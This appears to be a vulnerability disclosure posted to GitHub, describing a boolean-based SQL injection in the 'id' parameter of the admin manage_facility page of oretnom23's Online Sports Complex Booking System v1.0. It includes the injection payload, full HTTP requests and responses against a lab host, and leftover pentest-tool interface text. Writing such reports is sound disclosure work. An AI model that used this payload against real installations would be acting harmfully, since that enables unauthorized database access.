

main

...

bug_report / vendors / oretnom23 / Online-Sports-Complex-Booking-System / SQLi-10.md



debug601 Create SQLi-10.md

History

1 contributor

37 lines (24 sloc) | 1.48 KB

...

Online Sports Complex Booking System v1.0 by oretnom23 has SQL injection

vendors: <https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html>

Vulnerability File: /scbs/admin/?page=facilities/manage_facility&id=

Vulnerability location: /scbs/admin/?page=facilities/manage_facility&id=, id

Current database name: scbs_db,length is 7

[+] Payload: /scbs/admin/?

page=facilities/manage_facility&id=3%27%20and%20length(database())%20=7--+

```
GET /scbs/admin/?page=facilities/manage_facility&id=3%27%20and%20length(database())%
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=gp584rjk4ugbjakmto03cu7pco
Connection: close
```

```
// Leak place ---> id
```

When length (database ()) = 6, Content-Length: 25373

Raw Params Headers Hex

```
GET /scbs/admin/?page=facilities/manage_facility&id=3%27%20and%20length(database())%20=6--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0)
Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=gp584rjk4ugbjakmto03cu7pco
Connection: close
```

Raw Headers Hex HTML Render

```
HTTP/1.1 200 OK
Date: Tue, 26 Apr 2022 03:49:18 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 25373

<!DOCTYPE html>
<html lang="en" class="" style="height: auto;">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, i
  <title>Sports Complex Booking System</title>
```

Load URL Split URL Execute

http://192.168.1.19/scbs/admin/?page=facilities/manage_facility&id=3' and length(database()) =6--+

☐ Post data ☐ Referrer ☐ OxHEX ☐ %URL ☐ BASE64 ☐ Insert string to replace ☐ Insert replacing string ☒ Replace All

SCBS - PHP Sports Complex Booking System - Admin

Create New Facility

Category

Please Select Here

Name

When length (database ()) = 7, Content-Length: 28378

Request Raw Params Headers Hex

```
GET /scbs/admin/?page=facilities/manage_facility&id=3%27%20and%20length(database())%20=7--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0)
Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=gp584rjk4ugbjakmto03cu7pco
Connection: close
```

Response Raw Headers Hex HTML Render

```
HTTP/1.1 200 OK
Date: Tue, 26 Apr 2022 03:49:44 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28378

<!DOCTYPE html>
<html lang="en" class="" style="height: auto;">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Sports Complex Booking System</title>
  <link rel="icon" href="http://192.168.1.19/scbs/uploads/system-logo.png?v=1648002315" />
  <!-- Google Font: Source Sans Pro -->
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700&displa
  <!-- Font Awesome -->
  <link rel="stylesheet"
```

INT

SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

Load URL

Split URL

Execute

http://192.168.1.19/scbs/admin/?page=facilities/manage_facility&id=3' and length(database())=7--+

☐ Post data

☐ Referrer

0xHEX

%URL

BASE64

Insert string to replace

Insert replacing string

☒ Replace All

SCBS - PHP

Sports Complex Booking System - Admin

Update Facility

Category

Football

Name

Football Field 101

Description